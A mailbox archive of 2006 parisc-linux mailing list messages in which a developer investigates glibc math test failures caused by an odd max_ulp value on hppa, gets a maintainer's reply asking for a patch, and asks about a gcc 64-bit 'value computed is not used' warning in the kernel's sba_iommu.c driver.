	Mon,  8 May 2006 10:36:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C1EA7D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 May 2006 10:36:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09297-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 8 May 2006 10:36:38 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 407997D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  8 May 2006 10:36:38 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by guri.is.scarlet.be  with ESMTP id k48GaYW18993; 
	Mon, 8 May 2006 18:36:34 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7QY+IPAqa0Aovr6aejEzxwA3Njh6dI7Q
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23667

Hello all,

After the clone() pb, I continue a bit investigating in broken test.

In summary, here are the math failing test:
/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-float.out
::::::::::::::
testing float (without inline functions)
Failure: Real part of: cacos (inf + NaN i) =3D=3D NaN + inf i plus sign o=
f
zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: cacos (-inf + NaN i) =3D=3D NaN + inf i plus sign =
of
zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN + inf i) =3D=3D NaN - inf i: Exception =
"Invalid
operation" set
Failure: Real part of: cacos (NaN - inf i) =3D=3D NaN + inf i: Exception =
"Invalid
operation" set
Failure: Real part of: cacos (NaN + NaN i) =3D=3D NaN + NaN i: Exception =
"Invalid
operation" set
Failure: Real part of: ccosh (inf + NaN i) =3D=3D inf + NaN i: Exception =
"Invalid
operation" set
Failure: Real part of: ccosh (-inf + NaN i) =3D=3D inf + NaN i: Exception=
 "Invalid
operation" set
Failure: Real part of: cpow (NaN + NaN i, NaN + NaN i) =3D=3D NaN + NaN i=
:
Exception "Invalid operation" set
Failure: Real part of: csinh (0.0 + NaN i) =3D=3D 0.0 + NaN i plus sign o=
f
zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (-0 + NaN i) =3D=3D 0.0 + NaN i plus sign of=
 zero/inf
not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (inf + NaN i) =3D=3D inf + NaN i plus sign o=
f
zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (-inf + NaN i) =3D=3D inf + NaN i plus sign =
of
zero/inf not specified: Exception "Invalid operation" set

Test suite completed:
2599 test cases plus 2384 tests for exception flags executed.
12 errors occurred.
::::::::::::::
/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-double.out
::::::::::::::
testing double (without inline functions)
Failure: Test: lround (1071930.0008) =3D=3D 1071930
Result:
is: 1071930
should be: 1071930
Failure: Real part of: cacos (inf + NaN i) =3D=3D NaN + inf i plus sign o=
f
zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: cacos (-inf + NaN i) =3D=3D NaN + inf i plus sign =
of
zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: cacos (NaN + inf i) =3D=3D NaN - inf i: Exception =
"Invalid
operation" set
Failure: Real part of: cacos (NaN - inf i) =3D=3D NaN + inf i: Exception =
"Invalid
operation" set
Failure: Real part of: cacos (NaN + NaN i) =3D=3D NaN + NaN i: Exception =
"Invalid
operation" set
Failure: Real part of: ccosh (0.0 + NaN i) =3D=3D NaN + 0.0 i plus sign o=
f
zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: ccosh (-0 + NaN i) =3D=3D NaN + 0.0 i plus sign of=
 zero/inf
not specified: Exception "Invalid operation" set
Failure: Real part of: ccosh (inf + NaN i) =3D=3D inf + NaN i: Exception =
"Invalid
operation" set
Failure: Real part of: ccosh (-inf + NaN i) =3D=3D inf + NaN i: Exception=
 "Invalid
operation" set
Failure: Real part of: cpow (NaN + NaN i, NaN + NaN i) =3D=3D NaN + NaN i=
:
Exception "Invalid operation" set
Failure: Real part of: csinh (0.0 + NaN i) =3D=3D 0.0 + NaN i plus sign o=
f
zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (-0 + NaN i) =3D=3D 0.0 + NaN i plus sign of=
 zero/inf
not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (inf + NaN i) =3D=3D inf + NaN i plus sign o=
f
zero/inf not specified: Exception "Invalid operation" set
Failure: Real part of: csinh (-inf + NaN i) =3D=3D inf + NaN i plus sign =
of
zero/inf not specified: Exception "Invalid operation" set

Test suite completed:
2624 test cases plus 2399 tests for exception flags executed.
15 errors occurred.
::::::::::::::
/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-idouble.out
::::::::::::::
testing double (inline functions)
Failure: Test: lround (1071930.0008) =3D=3D 1071930
Result:
is: 1071930
should be: 1071930

Test suite completed:
2562 test cases plus 2337 tests for exception flags executed.
1 errors occurred.

=3D=3D=3D=3D<>=3D=3D=3D=3D

The easiest is obviously the last one; I just simplified libm-test.c and =
added
some printf() to read:
/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/test-idouble-b
testing double (inline functions)
computed: 1071930
expected: 1071930
labs (diff): 0
max_ulp: -214511494
Failure: Test: lround (1071930.0008) =3D=3D 1071930
Result:
is: 1071930
should be: 1071930

Test suite completed:
3 test cases plus 1 tests for exception flags executed.
1 errors occurred.
=3D=3D=3D=3D<>=3D=3D=3D=3D

The results are well ok as mentioned:
Result:
is: 1071930
should be: 1071930

it seems so being just a test pb in:
/* Check that computed and expected values are equal (long int values). *=
/
static void
check_long (const char *test_name, long int computed, long int expected,
long int max_ulp, int xfail, int exceptions)
{
long int diff =3D computed - expected;
printf ("computed: %ld\n", computed);
printf ("expected: %ld\n", expected);
int ok =3D 0;

test_exceptions (test_name, exceptions);
noTests++;
printf ("labs (diff): %ld\n", labs (diff));
printf ("max_ulp: %ld\n", max_ulp);
if (labs (diff) <=3D max_ulp)
ok =3D 1;

if (!ok)
print_ulps (test_name, diff);

if (print_screen (ok, xfail))
{
if (!ok)
printf ("Failure: ");
printf ("Test: %s\n", test_name);
printf ("Result:\n");
printf (" is: %ld\n", computed);
printf (" should be: %ld\n", expected);
}

update_stats (ok, xfail);
fpstack_test (test_name);
}
[snip]

while the call is:
[snip]
check_long ("lround (1071930.0008) =3D=3D 1071930", FUNC(lround)
(1071930.0008), 1071930, DELTA1247, 0, 0);
[snip]

DELTA1247 being define in math/libm-test-ulps.h as:
#define DELTA1247 CHOOSE(0, -214511494, 0, 0, -214511494, 0) /* lround
(1071930.0008) =3D=3D 1071930 */

and CHOOSE() in math/test-idouble.c:
#define
CHOOSE(Clongdouble,Cdouble,Cfloat,Cinlinelongdouble,Cinlinedouble,Cinline=
float)
Cinlinedouble

and effectively check_long() is well precompiled:
(.i file)
[snip]
check_long ("lround (1071930.0008) =3D=3D 1071930", lround (1071930.0008)=
,
1071930, -214511494, 0, 0);
[snip]

afaik, as math/libm-test-ulps.h, is genetated by a perl script driven by
../sysdeps/hppa/fpu/libm-test-ulps file. And it seems that hppa is the on=
ly
one to specify:
[snip]
# lround 
Test "lround (1071930.0008) =3D=3D 1071930":
double: -214511494
idouble: -214511494
[snip]

If somebody still remember why, that could help me a bit.

Thanks in advance,
Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous devene=
z aujourd'hui Scarlet One grace a un client existant de Scarlet, vous rec=
evez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite sur ht=
tp://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: some starting . of glibc test math filaures ;-)
Date: Tue, 9 May 2006 21:05:50 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab440605091805q741bba07i3d50aee4299e6d82@mail.gmail.com>
References: <IZ03Y4$9E8A6266AB8A578EB25FE5A0BE2593A0@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624083 19558 80.91.229.3 (22 Nov 2014 02:41:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:23 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 May 2006 01:05:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 10 May 2006 03:05:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFB297D67B;
	Tue,  9 May 2006 19:05:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21135-09; Tue, 9 May 2006 19:05:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 04A507D670;
	Tue,  9 May 2006 19:05:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABBA57D668
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 May 2006 19:05:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21143-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 9 May 2006 19:05:50 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.195])
	by free.linux.hp.com (Postfix) with ESMTP id B7B827D65D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  9 May 2006 19:05:50 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id i1so375901nzh
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 09 May 2006 18:05:50 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=oFG6SV6q6hmtg1g3HSshUVw6E70aV/6O8HKeZEpDLRMlwGreKxoxxh98p5g6DOuHBvcGDtFQs1LFER+/a6HFAbnkGD0DAfilITbPw4yzlEE7mW7+ngSwklITs7qOUUpnzf+ZGl15BpTqaAp4b+Iar7Jjp9cCSw23l+9t0gK2aks=
Original-Received: by 10.36.9.3 with SMTP id 3mr5857862nzi;
	Tue, 09 May 2006 18:05:50 -0700 (PDT)
Original-Received: by 10.36.71.15 with HTTP; Tue, 9 May 2006 18:05:50 -0700 (PDT)
In-Reply-To: <IZ03Y4$9E8A6266AB8A578EB25FE5A0BE2593A0@scarlet.be>
Content-Disposition: inline
X-Google-Sender-Auth: afdb2004e1acb0ad
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: QAtUcOxKTiEtoqyUaGRwrft1ZUVSRFfQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23668

On 5/9/06, Joel Soete <soete.joel@tiscali.be> wrote:
> > > If somebody still remember why, that could help me a bit.
> >
> > Probably the maxulps data on hppa is out of date. We've fixed one or tw=
o
> > cases from time to time, but there are probably other problems.
> >
> > Pls send a patch to fix this case.
> >
> Obvioulsy ;-)
>

Where is your ChangeLog?!  ;-)

I'm the hppa libc-ports maintainer. If you send me a well formed
ChangeLog and patch I can do the checkin.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Just a question about a sba_iommu.c warning with gcc
	64bit (but not 32bit)?
Date: Wed, 10 May 2006 14:08:39 +0200
Lines: 248
Approved: news@gmane.org
Message-ID: <IZ1TQF$AB963885A7ABF163B254A190F47F10B6@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624084 19559 80.91.229.3 (22 Nov 2014 02:41:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:24 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: "Parisc List" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 May 2006 12:09:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 10 May 2006 14:09:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 993F17D662;
	Wed, 10 May 2006 06:08:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25050-09; Wed, 10 May 2006 06:08:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2795B7D665;
	Wed, 10 May 2006 06:08:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E36A7D661
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 May 2006 06:08:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25142-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 May 2006 06:08:48 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id A3EE27D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 10 May 2006 06:08:47 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by oola.is.scarlet.be  with ESMTP id k4AC8eS10761; 
	Wed, 10 May 2006 14:08:42 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6+FScLotTXs9vqyRbmQ5+W9KRzdyMsO9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23669

Hello all,

Compiling kernel 2.6.17-rc3-pa3 with gcc-4.1 64bits, I read in log:

hppa64-linux-gnu-gcc-4.1 -Wp,-MD,drivers/parisc/.sba_iommu.o.d  -nostdinc=

-isystem /usr/lib/gcc/hppa64-linux-gnu/4.1.1/include -D_
_KERNEL__ -Iinclude -Iinclude2 -I/usr/src/linux-2.6.17-rc3-pa3/include
-include include/linux/autoconf.h -I/usr/src/linux-2.6.17-rc3
-pa3/drivers/parisc -Idrivers/parisc -Wall -Wundef -Wstrict-prototypes
-Wno-trigraphs -fno-strict-aliasing -fno-common -O2 -fomit-fr
ame-pointer -pipe -mno-space-regs -mfast-indirect-calls -mdisable-fpregs
-ffunction-sections -march=3D2.0 -mschedule=3D8000 -Wdeclaratio
n-after-statement -Wno-pointer-sign  -D"KBUILD_STR(s)=3D#s"
-D"KBUILD_BASENAME=3DKBUILD_STR(sba_iommu)"  -D"KBUILD_MODNAME=3DKBUILD_S=
TR(sb
a_iommu)" -c -o drivers/parisc/sba_iommu.o
/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c
/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c: In function
'sba_unmap_single':
/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1000: warning: v=
alue
computed is not used
/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c: In function
'sba_hw_init':
/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1767: warning:
initialization makes integer from pointer without a cast
/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1782: warning:
passing argument 1 of '__raw_readq' makes pointer from integ
er without a cast
/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1782: warning:
passing argument 1 of '__raw_readq' makes pointer from integ
er without a cast
/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1782: warning:
passing argument 1 of '__raw_readq' makes pointer from integ
er without a cast
/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1784: warning:
passing argument 2 of '__raw_writeq' makes pointer from inte
ger without a cast
/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1790: warning:
passing argument 2 of '__raw_writeq' makes pointer from inte
ger without a cast
/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1794: warning: v=
alue
computed is not used 

The most interesting to me being "warning: value computed is not used";

looking into code this warning seems to make sense:
[snip]
        if (++(ioc->saved_cnt) >=3D DELAYED_RESOURCE_CNT) {
                int cnt =3D ioc->saved_cnt;
                while (cnt--) {
                        sba_free_range(ioc, d->iova, d->size);
                        d--;
                }
                ioc->saved_cnt =3D 0;

/* l 1000 */    READ_REG(ioc->ioc_hpa+IOC_PCOM);        /* flush purges *=
/
        }
[snip]
                        /*
                        ** Make sure the box crashes on rope errors.
                        */
                        WRITE_REG(HF_ENABLE, ioc_hpa + ROPE0_CTL + j);
                }

                /* flush out the last writes */
/* l 1794 */    READ_REG(sba_dev->ioc[i].ioc_hpa + ROPE7_CTL);

                DBG_INIT("      ioc[%d] ROPE_CFG 0x%Lx  ROPE_DBG 0x%Lx\n"=
,
[snip]

The precompile showing finaly for the line 1000:
(__builtin_constant_p((__u64)((__u64)(__le64)(__raw_readq(ioc->ioc_hpa+0x=
310))))
? \
    ({ 
      __u64 __x =3D ((( __u64)(__le64)(__raw_readq(ioc->ioc_hpa+0x310))))=
;
      ((__u64)( (__u64)(((__u64)(__x) & (__u64)0x00000000000000ffULL) << =
56) |
       (__u64)(((__u64)(__x) & (__u64)0x000000000000ff00ULL) << 40) | 
       (__u64)(((__u64)(__x) & (__u64)0x0000000000ff0000ULL) << 24) | 
       (__u64)(((__u64)(__x) & (__u64)0x00000000ff000000ULL) << 8) | 
       (__u64)(((__u64)(__x) & (__u64)0x000000ff00000000ULL) >> 8) | 
       (__u64)(((__u64)(__x) & (__u64)0x0000ff0000000000ULL) >> 24) | 
       (__u64)(((__u64)(__x) & (__u64)0x00ff000000000000ULL) >> 40) | 
       (__u64)(((__u64)(__x) & (__u64)0xff00000000000000ULL) >> 56) ));
     }) :
     __fswab64((( __u64)(__le64)(__raw_readq(ioc->ioc_hpa+0x310)))));

so may be is it not a reading only because of:
# 51 "include2/asm/byteorder.h"
static __inline__ __attribute__((always_inline)) __attribute__((__const__=
))
__u64 ___arch__swab64(__u64 x) {
 __u64 temp;
 __asm__("permh,3210 %0, %0\n\t"
  "hshl %0, 8, %1\n\t"
  "hshr,u %0, 8, %0\n\t"
  "or %1, %0, %0"
  : "=3Dr" (x), "=3D&r" (temp)
  : "0" (x));
 return x;
}

(which imho clobber x i.e. 'ioc->ioc_hpa+0x310'?)

Dave, is there any reason why even compilation options are the same:
  hppa64-linux-gnu-gcc-4.1 --save-temps \
        -Wp,-MD,drivers/parisc/.sba_iommu.o.d  \
        -nostdinc \
        -isystem /usr/lib/gcc/hppa64-linux-gnu/4.1.1/include \
        -D__KERNEL__ \
        -Iinclude \
        -Iinclude2 \
        -I/usr/src/linux-2.6.17-rc3-pa3/include \
        -include include/linux/autoconf.h \
        -I/usr/src/linux-2.6.17-rc3-pa3/drivers/parisc \
        -Idrivers/parisc \
        -Wall \
        -Wundef \
        -Wstrict-prototypes \
        -Wno-trigraphs \
        -fno-strict-aliasing \
        -fno-common \
        -O2 \
        -fomit-frame-pointer \
        -pipe \
        -mno-space-regs \
        -mfast-indirect-calls \
        -mdisable-fpregs \
        -ffunction-sections \  
        -march=3D2.0 \
        -mschedule=3D8000 \
        -Wdeclaration-after-statement \
        -Wno-pointer-sign  \
        -D"KBUILD_STR(s)=3D#s" \
        -D"KBUILD_BASENAME=3DKBUILD_STR(sba_iommu)"  \
        -D"KBUILD_MODNAME=3DKBUILD_STR(sba_iommu)" \
        -c \
        -o drivers/parisc/sba_iommu.o \
        /usr/src/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c

  gcc-4.1 --save-temps \
        -Wp,-MD,drivers/parisc/.sba_iommu.o.d  \
        -nostdinc \
        -isystem /usr/lib/gcc/hppa-linux-gnu/4.1.1/include \
        -D__KERNEL__ \
        -Iinclude \
        -Iinclude2 \
        -I/CAD/linux-2.6.17-rc3-pa3/include \
        -include include/linux/autoconf.h \
        -I/CAD/linux-2.6.17-rc3-pa3/drivers/parisc \
        -Idrivers/parisc \
        -Wall \
        -Wundef \
        -Wstrict-prototypes \
        -Wno-trigraphs \
        -fno-strict-aliasing \
        -fno-common \
        -O2 \
        -fomit-frame-pointer \
        -pipe \
        -mno-space-regs \
        -mfast-indirect-calls \
        -mdisable-fpregs \
        -ffunction-sections \
        -march=3D2.0 \
        -mschedule=3D8000 \
        -Wdeclaration-after-statement \
        -Wno-pointer-sign  \
        -D"KBUILD_STR(s)=3D#s" \
        -D"KBUILD_BASENAME=3DKBUILD_STR(sba_iommu)"  \
        -D"KBUILD_MODNAME=3DKBUILD_STR(sba_iommu)" \
        -c \
        -o drivers/parisc/.tmp_sba_iommu.o \
        /CAD/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c

this warning is not the same for 32bit kernel:
  gcc-4.1 -Wp,-MD,drivers/parisc/.sba_iommu.o.d  -nostdinc -isystem
/usr/lib/gcc/hppa-linux-gnu/4.1.1/include -D__KERNEL__ -Iinclude
 -Iinclude2 -I/CAD/linux-2.6.17-rc3-pa3/include -include
include/linux/autoconf.h -I/CAD/linux-2.6.17-rc3-pa3/drivers/parisc -Idri=
ve
rs/parisc -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs
-fno-strict-aliasing -fno-common -O2 -fomit-frame-pointer -pipe -mno-spac=

e-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=3D=
2.0
-mschedule=3D8000 -Wdeclaration-after-statement -Wno-poin
ter-sign  -D"KBUILD_STR(s)=3D#s" -D"KBUILD_BASENAME=3DKBUILD_STR(sba_iomm=
u)" 
-D"KBUILD_MODNAME=3DKBUILD_STR(sba_iommu)" -c -o drivers/par
isc/.tmp_sba_iommu.o /CAD/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c=

/CAD/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c: In function
\xe2\x80\x98sba_hw_init\xe2\x80\x99:
/CAD/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1767: warning:
initialization makes integer from pointer without a cast
/CAD/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1782: warning: passi=
ng
argument 1 of \xe2\x80\x98__raw_readl\xe2\x80\x99 makes 
pointer from integer without a cast
/CAD/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1782: warning: passi=
ng
argument 1 of \xe2\x80\x98__raw_readl\xe2\x80\x99 makes 
pointer from integer without a cast
/CAD/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1782: warning: passi=
ng
argument 1 of \xe2\x80\x98__raw_readl\xe2\x80\x99 makes 
pointer from integer without a cast
/CAD/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1784: warning: passi=
ng
argument 2 of \xe2\x80\x98__raw_writel\xe2\x80\x99 makes
 pointer from integer without a cast
/CAD/linux-2.6.17-rc3-pa3/drivers/parisc/sba_iommu.c:1790: warning: passi=
ng
argument 2 of \xe2\x80\x98__raw_writel\xe2\x80\x99 makes
 pointer from integer without a cast

while compiler release are the same:
on n4k:
ii  gcc-4.1-hppa64              4.1.0-2                     The GNU C com=
piler
(cross compiler for hppa64)

on b2k:
ii  gcc-4.1                     4.1.0-2                     The GNU C com=
piler

as well as the kernel sources.

Thanks for advise,
